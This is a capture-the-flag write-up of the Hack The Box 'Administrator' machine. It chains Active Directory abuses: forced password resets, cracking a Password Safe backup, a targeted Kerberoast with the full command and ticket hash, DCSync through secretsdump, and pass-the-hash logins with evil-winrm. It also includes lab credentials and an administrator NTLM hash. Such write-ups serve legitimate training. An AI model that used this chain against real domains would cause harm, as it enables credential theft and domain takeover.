htb-administrator

olivia /ichliebedich

—

Open ports:

echo “10.10.11.42 administrator.htb” | sudo tee -a /etc/hosts

Enumeration :

PowerView :

┌──(bolke㉿bolke)-[~/htb/administrator]
└─$ powerview administrator.htb/olivia:’ichliebedich’@administrator.htb

Logging directory is set to /home/bolke/.powerview/logs/administrator-olivia-administrator.htb
[2025-04-21 21:23:03] [Storage] Using cache directory: /home/bolke/.powerview/storage/ldap_cache
(LDAP)-[dc.administrator.htb]-[ADMINISTRATOR\olivia]
PV > Get-NetUser olivia

BloodHound :

LDAP Domain Dump

Enum4Linux

SMBclient

netexec rid-brute

SMBclient finds no more info in sysvol

RPCClient enum users

netexec verify creds working for winrm

netexec verify creds working for smb and ldap

evil-winrm into the box

.

bloodhound finds [ outbound control of user olivia ]

olivia has full control over michael

I used Powerview to reset Michaels’password

Next winrm as michael to the box

After setting in bloodhound user michael as owned , we find in his outbound connections :

 michael forcechangepasword on benjamin

The user MICHAEL@ADMINISTRATOR.HTB has the capability to change the user BENJAMIN@ADMINISTRATOR.HTB’s password without knowing that user’s current password.

So we use Powerview again to set Benjamin’s password

We verify if password changed succesfully with netexec

Benjamin cannot winrm into the box ( but his Local Group Memberships is      *Share Moderators )

But he can ftp to the box

Crack the hash

Now we have

Backup.psafe3:tekieromucho

Session……….: hashcat

Status………..: Cracked

Hash.Mode……..: 5200 (Password Safe v3)

We install the pwsafe-3.67.0.exe app on our windows machine, and open the password manager backup file

With the creds found of Emily we continue

and winrm to box as emily to get user.txt

In Bloodhound we mark Emily as owned , and find in her outbound connections to: The user EMILY@ADMINISTRATOR.HTB has generic write access to the user ETHAN@ADMINISTRATOR.HTB.

so we use targetedkerberoast herefore

1st sync the time clock to the DC

Targeted Kerberoast

Background

A Service Principal Name (SPN) is a unique identifier that associates a service instance with a service account in Kerberos. Kerberoasting is an attack where an authenticated user requests a ticket for a service by it’s SPN, and the ticket that comes back is encrypted with the password of the user associated with that service. If that password is weak, it can be broken in offline brute force. rather than GenericWrite).

Strategy

To perform a targeted kerberoast, I’ll use the GenericWrite privilege to give ethan an SPN. Then I can request a ticket for that fake service, and get a ticket encrypted with ethan’s password hash. If that password is weak, I can crack it offline.

┌──(bolke㉿bolke)-[~]
└─$ git clone https://github.com/ShutdownRepo/targetedKerberoast.git
Cloning into 'targetedKerberoast'...
remote: Enumerating objects: 76, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (19/19), done.
remote: Total 76 (delta 19), reused 18 (delta 14), pack-reused 43 (from 1)
Receiving objects: 100% (76/76), 252.27 KiB | 3.32 MiB/s, done.
Resolving deltas: 100% (30/30), done.
                                                                                                                     
┌──(bolke㉿bolke)-[~]
└─$ cd targetedKerberoast 

┌──(bolke㉿bolke)-[~/targetedKerberoast]
└─$ python3 targetedKerberoast.py -v -d 'administrator.htb' -u emily -p UXLCI5iETUsIBoFVTj8yQFKoHjXmb
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$d5e8e07a20cb82d9d4f067f5b6af370f$5b30d74680b2c8a7fb2f9ee2f6e0aa0b14e5235f201a823cd60adc323a64170a3eb9e4f89d6b47bd4cb475b2cfe4052b3efd66da064ce8366b90b24e97b7cf3eee927b7052f678785c164a29886c8447e9ccf9001664532af4b7fc3169ad098ec4f693c38851c8daf1ee85dc24af02937d5e06d4b2b43433353621be40baa7bd6b45291ce629cbc66d679667fd90219f5462e01f8fe0a9eb6d21eb04fbfdf14a3d146da96ba8a63b46fdb11eaa98a1af899ce2e5ce0a0047aed496459f72162b0bae6fd5ee0cbafc2ed94713a41b720809f0bbe739aec9dde9e77cc07b9b53c77e035d5218dcfdd3f076597ed040d143b9ef8cfbf76419df677d08aa24cc91ea4b8e4598b0090175fe61053b978e8f93248678d1afd4b5407376309bc2d46d0aab4355a97a4d45715ee04f1b3bc45fa5f69db2b9a7683e1b6cfe0072c200f24baf68e3f0ea17343014d377d07a02f797dd728f545e7db049c57c1b8c73ac92d50bfc8bd0fb626f0a9e9d9c07bbfd6cbca41016699aa02fa7bd3165432b9f22d39d69c22004f6bdc17dcfcbc1c5e812b8cb1bbc5e32133058e00c1f1873583e1ea96c990b6a5bf119bb5bec23468be6a215a8b5691db17a1f0e5a24039e115ae22656c10e552cb9306e149716f69cbe52c4658921dc6d31dd2e4555573199c9246c343aa97961146637cede59fb9c39ef131581018e74a48a74a320162f1ef50633a4b896047f88847720a3994c794b552e85a3777774d70bc5e5d7fd843a1cb2894bfc8b839a83a54f9060451fe2bc392f854a4c4e882cd92e1fe7b220af7a323226823252f7d2499492be7c335d37977db4138a841c40f38c173be4db84812dfdcafb011d3fef3a12c0f57cda4f26583792cd6b1ad3e7b5fcc91bc6a8e217e3092a6a6196136ea4d2e13f8bb85ef957919bca4812b4ab88491bad8446aa23436079eb476ad9d1dc88cbd4496670f53bc9b12701c89d0586a8b98fa51b4e99974f703d111c395f7aa68364e7651a07944d4a360dc60f4c86c11f488ddc2f183cdc57d5f34ee4d1abed7ddd8f1e615299abbf4d1f6c062f261c8d099cdd961b6628d0832113e452738b8db266babb24168f5133a28bd9a787b7845ff0f152454f21b194e8aea5923c36d8f6f45a7b9209abe9549f6f82a57a761d796fae0c483363df16b611e8a819b80c3c8f038a73efe008a4d282d33a67831965354c3e1a0381ec12cb06172896b7a7307c4cbbc282ee3d1ec61cf66cb27e4865f9e8c504466a7a7f6f4dc45ebe10ca2b5e4a5992417e84638dbc9c987526e2d15c15c50392325553f7a73da5d2a21d6d801ca0167d20f6dd75c8c3ce9e5cc214cc082a98dd0749a37edb40fa04c40515839ba91f5267f02984d674ab418ae19fbeecd791b288493e56b7be831f150d28c406552ddee9f87e0d332cc60d596971aad0a00497ba9c39eb5d2b7e2f415876bac2476918dd79bba5d78590eaabea095d744066eec4ece374cb2f3bf2e0fcc87ec3a3af2fe8ae56e5a01d5655f7e02c842c6bcd
[VERBOSE] SPN removed successfully for (ethan)

.

Crack this kerberos hash

netexec to verify creds

In Bloodhound we mark Ethan as owned , and find in his outbound connections to:

bloodhound says:

The user ETHAN@ADMINISTRATOR.HTB has the DS-Replication-Get-Changes and the DS-Replication-Get-Changes-All privilege on the domain ADMINISTRATOR.HTB.

so we use impacket-secretsdump to get all hashes

Cat the hashes

And Finaly winrm to the box as Administrator

That was Fun.

—

┌──(puck㉿kali)-[~/htb/administrator]

└─$ evil-winrm –ip administrator.htb -u ‘administrator’ -H ‘3dc553ce4b9fd20bd016e098d2d2fd2e’

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..

*Evil-WinRM* PS C:\Users\Administrator> cd desktop

*Evil-WinRM* PS C:\Users\Administrator\desktop> dir

    Directory: C:\Users\Administrator\desktop

Mode                 LastWriteTime         Length Name

—-                 ————-         —— —-

-ar—        11/12/2024   6:03 AM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\desktop>